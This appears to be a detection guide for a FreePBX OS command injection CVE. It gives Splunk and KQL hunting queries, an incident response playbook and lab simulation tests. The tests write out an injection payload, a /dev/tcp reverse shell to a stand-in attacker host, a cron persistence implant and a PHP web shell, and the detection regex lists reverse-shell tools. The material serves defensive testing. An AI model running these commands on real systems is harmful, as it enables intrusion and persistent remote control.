Detect Sangoma FreePBX OS Command Injection (CVE-2025-64328) in Splunk
Detects exploitation of an OS command injection vulnerability in Sangoma FreePBX. An authenticated or unauthenticated attacker may inject arbitrary OS commands through vulnerable FreePBX web interfaces or API endpoints, leading to remote code execution on the underlying Linux host. This vulnerability is tracked as CVE-2025-64328 and is listed in CISA's Known Exploited Vulnerabilities catalog.
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence
SPL Detection Query
index=linux sourcetype IN ("linux_audit", "syslog", "auditd")
("asterisk" OR "freepbx" OR "amportal" OR "httpd" OR "apache2")
| eval suspicious_cmd=if(match(process, "(wget|curl|chmod\s+[0-7]+|bash\s+-i|/dev/tcp|python\s+-c|perl\s+-e|nc\s+-e|mkfifo|base64\s+-d|socat|id;|whoami;|ncat)"), 1, 0)
| where suspicious_cmd=1
| eval parent_suspicious=if(match(parent_process, "(asterisk|freepbx|amportal|httpd|apache2|nginx|php)"), 1, 0)
| where parent_suspicious=1
| table _time, host, user, process, parent_process, dest
| sort - _timeDetects suspicious shell commands spawned from FreePBX/Asterisk parent processes on Linux hosts using audit logs, indicating potential OS command injection.
Data Sources
Required Sourcetypes
False Positives & Tuning
- Legitimate administrative scripts executed under asterisk service context
- FreePBX module installation or upgrade processes that invoke shell utilities
- Monitoring agents or health-check scripts running in the context of the PBX service user
Other platforms for CVE-2025-64328
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1FreePBX OS Command Injection via Admin Web Interface Parameter
Expected signal: Linux audit log entry for execve of 'id' with ppid mapping to httpd/apache2; DeviceProcessEvents showing id or sh spawned from apache2 parent process
- Test 2Reverse Shell Establishment via FreePBX Command Injection
Expected signal: DeviceNetworkEvents showing outbound TCP connection from FreePBX host to ATTACKER_IP:4444 initiated by bash process with asterisk user context; auditd execve of bash with -i flag
- Test 3Post-Exploitation Persistence via Cron Job Implant
Expected signal: File creation or modification event for /var/spool/cron/asterisk; auditd SYSCALL write to cron spool directory by asterisk UID
- Test 4Web Shell Deployment Following FreePBX Command Injection
Expected signal: File creation event for shell.php in FreePBX web root directory with www-data initiating process; subsequent HTTP GET request to shell.php with cmd parameter; DeviceProcessEvents showing id spawned from httpd/apache2
Response Playbook
Triage
- Identify the source IP and user agent of the HTTP request that triggered the injection by reviewing FreePBX web server access logs (/var/log/httpd/ or /var/log/apache2/) around the time of the alert.
- Determine which FreePBX module or endpoint was targeted (e.g., admin panel page, REST API route) by correlating the spawned process timestamp with web access logs.
- Check the spawned child process command line for indicators of reverse shell establishment, file download, or credential theft (e.g., base64-encoded payloads, outbound connections to unknown IPs).
- Review /etc/passwd and /etc/shadow modification times and running cron jobs for signs of persistence established post-exploitation.
- Confirm whether the attacker gained asterisk or root-level access by reviewing sudo logs and shell history files for the asterisk and www-data users.
Containment
- Immediately block inbound HTTP/HTTPS access to the FreePBX admin interface (typically port 80/443) at the perimeter firewall or security group level to prevent further exploitation while investigation is underway.
- Isolate the FreePBX host from the network if active compromise is confirmed (active reverse shell, credential theft, lateral movement) to prevent propagation to VoIP infrastructure or internal networks.
- Revoke all active FreePBX admin sessions and rotate credentials for the FreePBX admin web interface and AMI (Asterisk Manager Interface) accounts.
Evidence Collection
- Capture a memory image of the FreePBX host if a live reverse shell or injected process is still running to preserve volatile attacker artifacts (loaded modules, open file descriptors, network connections).
- Collect and preserve the following log files before any remediation: /var/log/apache2/access.log, /var/log/httpd/access_log, /var/log/audit/audit.log, /var/log/asterisk/full, and the shell history files for asterisk, www-data, and root users.
- Export a netstat or ss snapshot of all current network connections to identify any persistent reverse shell connections or unexpected listening services.
Escalation Criteria
- !Escalate immediately if evidence of lateral movement is found (e.g., SSH connections from the FreePBX host to internal systems, new user accounts created, internal network scanning activity).
- !Escalate if sensitive VoIP infrastructure data has been exfiltrated or if the attacker has tampered with Asterisk dial plans, SIP credentials, or call routing to facilitate toll fraud or eavesdropping.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
FreePBX and Apache/httpd access logs showing anomalous POST requests with shell metacharacters (;, |, &&, $(), backticks) in parameter values - >
Linux audit log entries (auditd) showing execve syscalls by the asterisk or www-data user for unexpected binaries - >
Bash history files for /var/lib/asterisk, /var/www, /root showing attacker command history if shell history was not disabled - >
New or modified files in /var/www/html/admin/, /etc/cron.d/, /tmp/, or /var/spool/cron/ indicative of web shell or persistence mechanism deployment - >
Netstat/ss output or pcap showing unexpected outbound connections from the FreePBX host to attacker-controlled infrastructure
Tuning Guidance
Reduce false positives by baselining the normal set of child processes spawned by asterisk and httpd on your FreePBX hosts. Add process name and command-line allowlisting for known AGI scripts and administrative automation. Exclude internal management IPs from network connection alerts. Increase confidence by correlating process spawning events with contemporaneous suspicious HTTP requests (POST body containing shell metacharacters) in web access logs. Consider implementing auditd rules specifically scoped to execve calls by the asterisk and www-data users for higher-fidelity telemetry.
Hunting Queries
Hunt for unexpected outbound network connections originating from FreePBX/Asterisk processes to non-standard ports on public IPs, which may indicate C2 communication or data exfiltration post-exploitation.
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessParentFileName has_any ("asterisk", "httpd", "apache2", "php", "nginx")
| where RemotePort !in (5060, 5061, 10000, 20000)
| where RemoteIPType != "Private"
| project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl
| order by TimeGenerated descindex=linux sourcetype IN ("syslog", "linux_audit") ("asterisk" OR "httpd" OR "apache2")
| stats count by src_ip, dest_ip, dest_port, user, process
| where dest_port NOT IN (5060, 5061, 10000, 20000, 80, 443)
| sort - countHunt for new or modified script files in FreePBX web directories and writable system paths, which may indicate web shell installation or persistence mechanism deployment following command injection.
DeviceFileEvents
| where TimeGenerated > ago(7d)
| where FolderPath has_any ("/var/www/html", "/var/lib/asterisk", "/tmp", "/var/spool/cron")
| where InitiatingProcessFileName has_any ("asterisk", "httpd", "apache2", "php", "wget", "curl")
| where ActionType in ("FileCreated", "FileModified")
| where FileName endswith ".php" or FileName endswith ".sh" or FileName endswith ".py"
| project TimeGenerated, DeviceName, FolderPath, FileName, InitiatingProcessCommandLine
| order by TimeGenerated descindex=linux sourcetype="linux_audit" type=PATH (name="*.php" OR name="*.sh" OR name="*.py")
| where (dir="/var/www/html" OR dir="/tmp" OR dir="/var/spool/cron" OR dir="/var/lib/asterisk")
| stats count by host, name, dir, auid
| sort - countAtomic Red Team Tests
Simulates an attacker injecting an OS command into a vulnerable FreePBX admin panel parameter. This test submits a crafted HTTP POST request with a shell metacharacter sequence to trigger command execution under the web server user context.
Command
curl -sk -X POST 'http://TARGET_FREEPBX/admin/config.php' \
-b 'PHPSESSID=VALID_SESSION_COOKIE' \
--data-urlencode 'display=moduleadmin' \
--data-urlencode 'vuln_param=safe_value;id>/tmp/pwned.txt' \
-o /dev/null;
cat /tmp/pwned.txtCleanup
rm -f /tmp/pwned.txtExpected Telemetry
Linux audit log entry for execve of 'id' with ppid mapping to httpd/apache2; DeviceProcessEvents showing id or sh spawned from apache2 parent process
Expected Detection
Alert on process launch of 'id' or 'sh' with parent process 'httpd' or 'apache2' on the FreePBX host
Simulates an attacker using a successfully injected OS command to establish a reverse bash shell to an attacker-controlled listener. Lab use only — requires a netcat listener on the attacker machine.
Command
# On attacker machine: nc -lvnp 4444
# On target (simulating injection payload execution as asterisk user):
sudo -u asterisk bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'Cleanup
kill $(lsof -ti:4444) 2>/dev/null; trueExpected Telemetry
DeviceNetworkEvents showing outbound TCP connection from FreePBX host to ATTACKER_IP:4444 initiated by bash process with asterisk user context; auditd execve of bash with -i flag
Expected Detection
Alert on bash spawned from asterisk user with command line containing '/dev/tcp' and outbound network connection to non-RFC1918 address on non-standard port
Simulates an attacker establishing persistence after successful OS command injection by writing a cron job for the asterisk user. This replicates a common post-exploitation step following FreePBX compromise.
Command
# Simulating as asterisk user post-exploitation:
sudo -u asterisk bash -c 'echo "* * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /var/spool/cron/asterisk'Cleanup
sudo -u asterisk bash -c 'crontab -r' 2>/dev/null; trueExpected Telemetry
File creation or modification event for /var/spool/cron/asterisk; auditd SYSCALL write to cron spool directory by asterisk UID
Expected Detection
Alert on file write to /var/spool/cron/ by asterisk or www-data user outside of expected change windows; cron file containing '/dev/tcp' or reverse shell pattern
Simulates an attacker using the command injection vulnerability to write a PHP web shell into the FreePBX web root for persistent access.
Command
# Simulating injected command execution as www-data/asterisk:
sudo -u www-data bash -c 'echo "<?php system(\$_GET[\"cmd\"]); ?>" > /var/www/html/admin/shell.php';
curl -sk 'http://localhost/admin/shell.php?cmd=id'Cleanup
sudo rm -f /var/www/html/admin/shell.phpExpected Telemetry
File creation event for shell.php in FreePBX web root directory with www-data initiating process; subsequent HTTP GET request to shell.php with cmd parameter; DeviceProcessEvents showing id spawned from httpd/apache2
Expected Detection
Alert on .php file creation in /var/www/html/admin/ by www-data or asterisk user; subsequent alert on OS command execution via web server child process